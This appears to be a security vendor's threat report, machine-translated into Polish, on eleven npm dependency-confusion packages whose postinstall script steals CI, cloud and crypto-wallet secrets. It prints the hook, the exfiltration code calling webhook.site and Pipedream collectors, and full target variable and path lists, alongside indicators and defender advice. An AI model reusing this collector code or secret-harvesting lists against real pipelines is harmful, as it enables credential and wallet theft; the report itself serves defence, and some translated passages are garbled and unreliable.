Zamieszanie wokół CryptoDAO: zbieranie pakietów npm CI/CD i sekrety kryptograficzne

Zamieszanie wokół CryptoDAO: jedenaście pakietów npm, jeden ładunek, zbiór CI/CD i sekrety portfeli kryptowalutowych

TL; DR

17 czerwca 2026 r. opublikowano jedno konto npm jedenaście pakietów, które mają jeden cel i jeden ładunek. Dziesięciu z nich nosi cryptodao- prefiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); jedenasty jest zakresowy @public-for-cdao/core. Każdy z nich został opublikowany w wersji 99.99.99 i wysyła identyczny bajt recon.js to działa postinstall.

Nazwy mówią same za siebie. Brzmią jak wewnętrzne bloki konstrukcyjne prywatnego łańcucha narzędzi projektu kryptograficznego/DAO. Opublikowane w publicznym rejestrze npm w sztucznie wysokiej wersji, czekają na kompilację. pipeline który jest skonfigurowany do rozpoznawania tych nazw i dociera do publicznego npm przed — lub zamiast — prywatnym rejestrem. To jest pomieszanie zależności, a ładunek jest dostrojony dokładnie do miejsca, w którym spodziewane jest lądowanie: CI/CD biegaczy.

Kiedy postinstall pożary, recon.js zbiera szczegóły dotyczące hosta, z grubsza przeszukuje czterdzieści zmiennych środowiskowych chmury, CI i portfela kryptowalut, czyta dowolne .env pliki, które może znaleźć, i przesyła linie zawierające sekret w całości, a następnie przesyła pakiet dwóm kolekcjonerom — webhook.site i punkt końcowy Pipedream — z wyłączoną weryfikacją certyfikatu TLS. Kopia jest również zapisywana pod /tmp.

Surowość: wysoka. Dotknięty ekosystem: NpmWszystkie jedenaście pakietów było dostępnych w momencie pisania tego tekstu.

Anatomia ataku

Mechanizm składa się z czterech ruchomych części, a żadna z nich nie jest subtelna, gdy już wiesz, spójrz o jedną warstwę dalej niż nazwa pakietu.

1. Inflacja wersji jako przynęta na rozwiązanie problemu. Każdy pakiet deklaruje wersję 99.99.99. Zamieszanie związane z zależnościami występuje, gdy menedżer pakietów poprosi o nazwa wewnętrzna, sprawdza również rejestr publiczny i wybiera najwyższą wersję znajduje. Domyślny wybór npm dla zakresu kursora lub symbolu wieloznacznego to najbardziej satysfakcjonująca wersja w każdym skonfigurowanym źródle; jeśli zarówno prywatne rejestr i publiczna odpowiedź npm o tej samej nazwie wygrywa ta o większym numerze wersji. A 99.99.99 przewyższa zasadniczo każdą rzeczywistą wewnętrzną wersję, jaką będzie miał projekt osiągnięty, więc resolver, który nie jest przypięty do prywatnego źródła, preferuje publiczna — a w tym przypadku wroga — kopia. Operator nie musi znać rzeczywiste numery wersji celu; wybranie absurdalnego maksimum gwarantuje zawsze remis toruje sobie drogę.

2. Wyzwalacz poinstalacyjny. pakiet.json podłącza ładunek do instalacji koło życia:

{   "scripts": { "postinstall": "node recon.js" } }

Nie jest wymagany import pakietu. Wystarczy go zainstalować — co jest wymagane przez CI. pipeline działa automatycznie — działa recon.js.

3. Szeroko zakrojona akcja tajna. recon.js tworzy tablicę wyników etapami:

  • Kontekst hosta: nazwa hosta, platforma i wydanie, architektura, nazwa użytkownika, praca katalogiem.
  • Zmienne środowiskowe: iterują ustaloną listę około czterdziestu nazw i rekordów wszystkie, które są ustawione. Lista jest wymowna — łączy w pary generyczne tokeny CI (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, Token dostępu Gitlab) i chmura kwalifikacje (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) z rejestrem i sekretami kontenerów (NPM_TOKEN, HASŁO_DOCKERA, HASŁO_PORTOWE) i wyraźnie krypto-smakowy klaster:  KLUCZ_PRYWATNY, MNEMONICZNY, SEED_PHRASE, Klucz_INFURA_API, Klucz_API_ALCHEMII, ETH_RPC, BSC_RPCZapisane wartości są obcinane do pierwszych 50 znaków.
  • .env pliki: bada listę ścieżek — .env, ../.env, /aplikacja/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, i .produkcja/.rozwój warianty — i dla każdego istniejącego pliku, filtruje zawartość do pasujących wierszy KLUCZ|TAJNY|TOKEN|HASŁO|PRYWATNY|MNEMONIK i dodaje te wiersze **w całości, bez obcinania** do wyników.
  • Kontekst kompilacji-hosta: wyświetla pierwsze 20 wpisów /buduje/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, / tmp /.

Lista ścieżek i lista zmiennych są ważone w kierunku programów uruchamiających GitLab, co wskazuje ładunek jest bezpośrednio przeznaczony dla samodzielnie hostowanej infrastruktury CI, a nie dla programisty laptop. Grupowanie listy zbiorów według kategorii ułatwia określenie planowanego połowu:

Kategoria Zmienne/ścieżki osiągnięte
CI/CD tożsamość i wdrażanie CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Chmura AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Rejestr i pojemnik NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Magazyny danych DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kryptowaluty / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Komunikatory SLACK_TOKEN, DISCORD_TOKEN
Na dysku .env rodzina + /home/gitlab-runner/.env, /root/.env, /app/**/.env; listy katalogowe /builds/, /var/lib/gitlab-runner/

Klaster kryptograficzny to część, która odróżnia go od ogólnego CI-secret sweep: frazy początkowe portfela i klucze podpisu pojawiają się tylko w środowisku projekt blockchain i są one bezpośrednio mapowane na kryptodao-/znak/umowy nazewnictwo przewoźników.

4. Podwójna eksfiltracja z wyłączoną weryfikacją. Zebrana tablica to serializowane i wysyłane pocztą do dwóch miejsc docelowych:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

odrzućNieautoryzowane: fałsz wyłącza sprawdzanie certyfikatów TLS dla połączeń wychodzących wywołań. Te same dane są drukowane na stdout (a więc trafiają również do logów zadań CI) ​​i zapisywane /tmp/.npm_recon_ .jsonBłędy są połykane w milczeniu, więc nieudane wysłanie nie pozostawia śladu w wynikach instalacji poza jednym [rozpoznanie] zainstalowany na Linia.

W komentarzu wstępnym do pliku opisano to jako „pomieszanie zależności” „Ładunek rozpoznawczy”. Skrócenie wartości środowiskowych do 50 znaków kształt dowodu koncepcji. To, co go wyróżnia poza sygnalizator obecności, to .env obsługa: linie niosące tajemnicę są przekazywane w całości, a miejsca docelowe to dwa działające kolektory kontrolowane przez atakującego, a nie tylko jeden odbiornik, który się liczy trafienia.

Oś czasu

Wzorzec publikacji to sygnatura pojedynczego skryptowanego pushu, a nie jedenastu niezależne przesyłanie.

Czas (UTC, 17.06.2026) wydarzenie
03:24:58 cryptodao-bot@99.99.99 opublikowany
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — wariant zakresowy, ~24 min później

Dziesięć paczek wysłano w ciągu 29 sekund, czyli mniej więcej jedną co trzy sekundy. Zakres @public-for-cdao/core nastąpiło około 24 minuty później — druga konwencja nazewnictwa dla tego samego celu, w przypadku gdy projekt konsumujący odwołuje się do wewnętrzny łańcuch narzędzi w ramach zakresu, a nie jako gołe nazwy.

Wskaźniki kompromisu

Typ Wskaźnik
Kolektor hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolektor hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Zainstaluj hak postinstall: node recon.js
Upuszczony plik /tmp/.npm_recon_<timestamp>.json
Znacznik dziennika [recon] <pkg>@<ver> installed on <hostname> (stdout w logach CI)
Behawioralny rejectUnauthorized: false podczas połączenia wychodzącego HTTPS podczas instalacji
Ładunek recon.js, identyczne we wszystkich jedenastu pakietach (jedna wspólna kompilacja)
Wersja 99.99.99 na każdym opakowaniu
Pakiety cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (wszystko 99.99.99)
wydawca aduljune / aduljune@proton.me (adres e-mail niezweryfikowany, brak powiązanego repozytorium źródłowego)

 Atrybucja i obserwowane zachowanie

Wszystko w klastrze wskazuje na jedną rękę. Wszystkie jedenaście pakietów zostało opublikowanych przez konto npm aduljune (aduljune@proton.me, niezweryfikowany adres bez powiązanego repozytorium źródłowego) w ciągu 25 minut, w tym samym czasie 99.99.99 wersja, wysyłka recon.js którego zawartość jest identyczna bajt po bajcie w każdym pakiet (dopasowania MD5 do wszystkich jedenastu wyodrębnionych kopii). To jeden ładunek umieszczane na liście nazw, a nie do niezależnego ponownego wykorzystania kodu.

Lista nazw definiuje docelowy cel. cryptodao-* oraz cdao Opisz prywatny układ modułu projektu kryptograficznego/DAO i lista zbiorów ładunku lustra, które zgadują: obok ogólnych sekretów CI i chmury, to konkretnie sięga po KLUCZ_PRYWATNY, MNEMONICZNY, SEED_PHRASEi Ethereum/BSC RPC i klucze dostawcy. .env ścieżki wyszukiwania i listy katalogów są obsługiwane przez GitLab-runner konkretny. Obserwowalnym efektem jest to, że każdy pipeline oszukany, żeby zainstalować te nazwy będą przekazywać swoje tokeny CI, klucze w chmurze i dane na dysku .env sekrety — i dla projekt blockchain, jego materiał portfelowy — dwóm zewnętrznym kolekcjonerom.

Nie udzielamy żadnych informacji na temat tego, kto obsługuje konto ani co zamierza z nim zrobić. Dane. Fakty, które mówią same za siebie: nazwy odnoszą się do konkretnego rodzaju wewnętrzny łańcuch narzędzi, ładunek odczytuje i przesyła prawdziwe tajne wartości, a infrastruktura była aktywna.

Wpływ, trendy i wskazówki dla obrońców

Zamieszanie związane z zależnościami pozostaje skuteczny, ponieważ wykorzystuje zachowanie resolvera, a nie podatność w dowolnym pakiecie. Przewoźnik jest tu trywialny — jedenaście prawie pustych pakiety — ale promień wybuchu jest dowolny pipeline błędnie preferuje publiczny npm dla nazwy wewnętrznej. Runnery CI są najgorszym miejscem, w którym może się to zdarzyć: posiadają dokładnie te żetony i .env pliki, które ten ładunek odczytuje i instaluje zależności nieinteraktywnie, więc po instalacji biegnie, gdy nikt nie patrzy.

Ten klaster pasuje również do wzorca, który ciągle obserwujemy: ładunki w czasie instalacji, które prezentują jako „badania” lub „rozpoznanie” podczas rzeczywistego gromadzenia danych uwierzytelniających. Etykieta w pliku nie zmienia tego, co kod robi w programie uruchamiającym. Dwa wybory projektowe zachowują cicha aktywność: każda operacja sieciowa i systemowa jest objęta program obsługi wyjątków, który odrzuca błędy, więc zablokowane wysyłanie lub brakujący plik nie generuje żadnego wyniku diagnostycznego, a jedynym wydrukowanym elementem jest pojedynczy, nieszkodliwy komunikat [rozpoznanie] … zainstalowano linia, która wtapia się w normalny dialog instalacyjny. Użycie webhook.site a Pipedream to także celowa wygoda — oba są darmowe, natychmiastowo dostarczane usługi przechwytywania żądań, dzięki czemu operator nie potrzebuje żadnych serwerów Ich własne i docelowe nazwy hostów wyglądają jak zwykłe nazwy hostów SaaS w logach wyjściowych.

To właśnie względy ekonomiczne sprawiają, że warto zwrócić na to uwagę obrońcy, mimo że Kod przewoźnika jest banalny. Rejestracja jedenastu nazw nic nie kosztuje, ładunek to jeden Plik został skopiowany jedenaście razy, a menedżer pakietów wykonał całą operację. Pojedynczy źle skonfigurowany pipeline gdziekolwiek, kto zużyje jedną z tych nazw, płaci za całość operacji.

Konkretne kroki dla obrońców:

  • Przypnij wewnętrzne zakresy do swojego prywatnego rejestru. Skonfiguruj npm tak, aby nazwy wewnętrzne
     a zakresy są rozwiązywane tylko w odniesieniu do rejestru (mapowania rejestru .npmrc o określonym zakresie,
    lub serwer proxy, który nigdy nie przechodzi do publicznego npm dla własnych przestrzeni nazw). Zarezerwuj nazwy publicznych zakresów, aby nikt inny nie mógł ich zarejestrować.
  • Commit pliki blokady i zainstaluj z opcją –ignore-scripts w CI jeśli to możliwe, lub sprawdź niewielki zestaw zależności, które naprawdę wymagają skryptów instalacyjnych.  recon.js nie może zostać uruchomiony, jeśli po instalacji nie jest wykonywany.
  • Potraktuj wersję nazwy wyglądającej na wewnętrzną za 99.99.99 (lub inną absurdalnie wysoką) jako czerwona flaga w przeglądzie zależności i monitorowaniu rejestru.
  • Alert o wyjściu w czasie instalacji. A po instalacji który otwiera wychodzący protokół HTTPS połączenie — zwłaszcza z wyłączoną weryfikacją certyfikatu — Warto zablokować na brzegu sieci usługi webhook.site, Pipedream lub podobne usługi przechwytujące żądania i oznaczyć je w dziennikach kompilacji.
  • Poszukiwanie artefaktów. Sprawdź biegaczy pod kątem /tmp/.npm_recon_*.json a dla [recon] … zainstalowano na … znacznik w ostatnich logach CI. Jeśli znaleziono, obróć co poświadczenie wystawione na to pipeline — tokeny CI, klucze chmury, tokeny rejestru oraz wszelkie klucze początkowe portfela lub klucze prywatne obecne w środowisku lub plikach .env.

Referencje

W momencie pisania niniejszego tekstu nie istniały żadne zewnętrzne raporty dotyczące tego klastra; analiza powyższe opiera się bezpośrednio na opublikowanej zawartości pakietu

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz swoje oprogramowanie i dostarczanie

z pakietem produktów Xygeni